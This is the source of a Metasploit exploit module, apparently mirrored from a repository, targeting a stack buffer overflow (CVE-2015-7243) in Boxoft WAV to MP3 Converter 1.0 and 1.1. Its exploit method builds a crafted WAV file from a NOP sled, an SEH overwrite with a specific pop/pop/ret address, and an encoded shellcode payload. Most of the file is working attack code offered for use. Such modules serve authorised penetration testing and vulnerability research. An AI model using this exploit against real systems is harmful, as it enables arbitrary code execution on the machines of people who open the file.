Files
metasploit-gs/modules/exploits/windows/fileformat/boxoft_wav_to_mp3.rb
T
2025-06-24 11:21:49 +01:00

73 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
application, a buffer is overwritten, which allows for running shellcode.
},
'License' => MSF_LICENSE,
'Author' => [
'Robbie Corley', # EDB POC
'Shelby Pace' # Metasploit Module
],
'References' => [
[ 'CVE', '2015-7243' ],
[ 'EDB', '38035' ]
],
'Platform' => 'win',
'Targets' => [
[
'Boxoft WAV to MP3 Converter v1.1',
{
'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
}
]
],
'Payload' => {
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => '2015-08-31',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
]
)
end
def exploit
file_payload = payload.encoded
buf = make_fast_nops(4132)
buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
buf << [target.ret].pack("V*") # seh
buf << file_payload
# Size isn't very sensitive
buf << make_fast_nops(5860)
file_create(buf)
end
end